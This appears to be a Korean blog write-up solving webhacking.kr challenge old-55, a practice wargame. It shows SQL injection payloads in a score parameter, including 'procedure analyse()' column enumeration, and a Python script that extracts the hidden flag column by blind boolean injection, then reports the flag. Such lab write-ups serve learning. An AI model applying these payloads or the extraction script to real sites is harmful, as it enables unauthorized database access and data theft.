[Challenge(Old)] old-55 (40)
https://webhacking.kr/challenge/web-31/
https://webhacking.kr/challenge/web-31/
webhacking.kr
메인 페이지다.
마우스를 움직이면 마우스 포인터를 따라 캐릭터가 움직이고, 점수와 x좌표, y좌표로 추측되는 숫자들이 바뀐다.
rank를 눌러보았다.
랭킹이 뜨고, 맨 아래에 쿼리가 있다.
mysqli_query($db,"insert into chall55 values('{$_SESSION['id']}','".trim($_POST['score'])."','{$flag}')");
chall55 테이블에 id, score, flag가 차례로 저장되는 것을 알 수 있다.
점수를 눌러보니 맨 위에 아이디와 점수가 출력되었다.
쿼리의 score부분을 1로 바꿔보았다.
아이디와 1이 출력되었다.
1점을 획득한 Piterpan 유저가 존재한다는 것을 알 수 있다.
score에 임의의 숫자 112131을 넣었더니 아무것도 출력되지 않았다.
즉, 해당 score를 획득한 id의 존재 여부를 파악할 수 있다는 것을 알았다.
1 and 1을 입력해보았다.
score=1에 해당하는 결과가 출력되는 것으로 보아 score 양 옆에 싱글쿼터로 막혀있는 것은 아닌 것 같다.
즉, 아래와 같은 형식으로 쿼리가 보내진다고 생각했다.
select id, score from chall55 where score={$score}
싱글쿼터와 select는 입력했을 때 no hack라는 문구가 출력되어 사용할 수 없었다.
따라서 우선 flag가 담긴 컬럼명을 알아내고자 procedure analyse()를 사용했다.
chall55 테이블의 첫번째 컬럼명은 id이다.
다른 컬럼명을 알아내기 위해 limit를 이용했다.
score=1 limit 0,1 procedure analyse()
score=1 limit 1,1 procedure analyse()
score=1 limit 2,1 procedure analyse()
id, score, flag가 차례대로 저장된다고 했으므로 flag가 저장되어 있는 컬럼명은 p4ssw0rd_1123581321일 것이다.
파이썬을 이용해 자동화 프로그램을 작성했다.
import requests
headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36'}
url = "https://webhacking.kr/challenge/web-31/rank.php"
cookies = { 'PHPSESSID' : '쿠키값' }
pw = ""
length = 1
while True:
query = "?score=1 and length(chall55.p4ssw0rd_1123581321)=" + str(length)
res = requests.get(url + query)
if "Piterpan" in res.text:
print("Password's length : "+str(length))
break
length += 1
print("=====================")
for i in range(1, length+1):
for j in range(32,128):
params = {'score':'1 and ord(right(left(p4ssw0rd_1123581321,{}),1))={}'.format(i,j)}
res = requests.get(url, headers=headers, cookies=cookies, params=params)
if "Piterpan" in res.text:
pw += chr(j)
print(pw)
break
print("Password : " + pw)
Flag : FLAG{easy_peasy_lemon_squeezy!}
Auth 페이지에 flag를 입력했다.
Clear!